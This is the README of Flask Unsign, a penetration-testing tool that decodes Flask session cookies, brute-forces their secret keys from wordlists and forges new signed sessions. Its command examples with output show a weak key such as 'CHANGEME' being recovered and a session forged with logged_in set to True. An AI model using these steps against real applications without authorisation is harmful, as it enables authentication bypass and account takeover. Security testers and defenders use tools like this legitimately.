Flask Unsign
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. For the standalone wordlist component, please visit the flask-unsign-wordlist repository.
Requirements
- Python 3.6+
Installation
To install the application, simply use pip:
$ pip3 install flask-unsign[wordlist]
If you only want to install the core code, omit the [wordlist] suffix:
$ pip3 install flask-unsign
To install the tool for development purposes, run the following command (after downloading a copy):
$ pip3 install -e .[test]
Usage
To get an overview of all possible options, simply call flask-unsign without any arguments like so:
$ flask-unsign
Obtaining & Decoding Session Cookies
Due to the fact that Flask cookies are signed and not encrypted, it's
possible to locally decode the session data. For this, you can use the --decode
argument.
Session cookies can be obtained by inspecting your HTTP requests using a proxy
like Burp Proxy, using your browser's network inspector or using a browser
extension to view/change your cookies. By default, Flask uses the session name
"session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
You can also use Flask-Unsign's automatic session grabbing functionality by
passing the --server argument, instead of the --cookie argument. Do note
however, that not all web pages might return a session, so be sure to pass an
url which does.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
Unsigning (Brute Forcing Secret Keys)
After obtaining a sample session cookie, you'll be able to attempt to brute-force
the server's secret key. If you're lucky, this might be set to something easy to
guess, or if it's been found online, it might be in one of your wordlists. For
this, you can use the --unsign argument.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
Signing (Session Manipulation)
Once you've obtained the server's secret key, you'll be able to craft your own
custom session data. For this, you can use the --sign argument.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
Troubleshooting
- Installing the program results in an error
- You might be using the wrong
pipbinary, try using the following command:python3.6 -m pip install flask-unsign
- You might be using the wrong
- I found a secret key, but my crafted sessions don't work!
- It might be possible that your target server uses an older version of
itsdangerous. Due to
an issue with timed
sessions, the timestamp generation algorithm was changed.
To generate an older signature, try using the
--legacyoption.
- It might be possible that your target server uses an older version of
itsdangerous. Due to
an issue with timed
sessions, the timestamp generation algorithm was changed.
To generate an older signature, try using the
- My wordlist doesn't work
- Wordlists expect to be newline delimited
python strings
(meaning you need to encapsulate them in quotes), this is so that
binary strings can easily be stored in a newline format. If you don't want
this, you can disable this feature by passing the
--no-literal-evalargument.
- Wordlists expect to be newline delimited
python strings
(meaning you need to encapsulate them in quotes), this is so that
binary strings can easily be stored in a newline format. If you don't want
this, you can disable this feature by passing the
How it works
If you're wondering how exactly this works, refer to my blog post which explains this in great detail, including a guide on how to protect your own server from this attack.
License
MIT License
Copyright (c) 2021 Luke Paris (Paradoxis)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.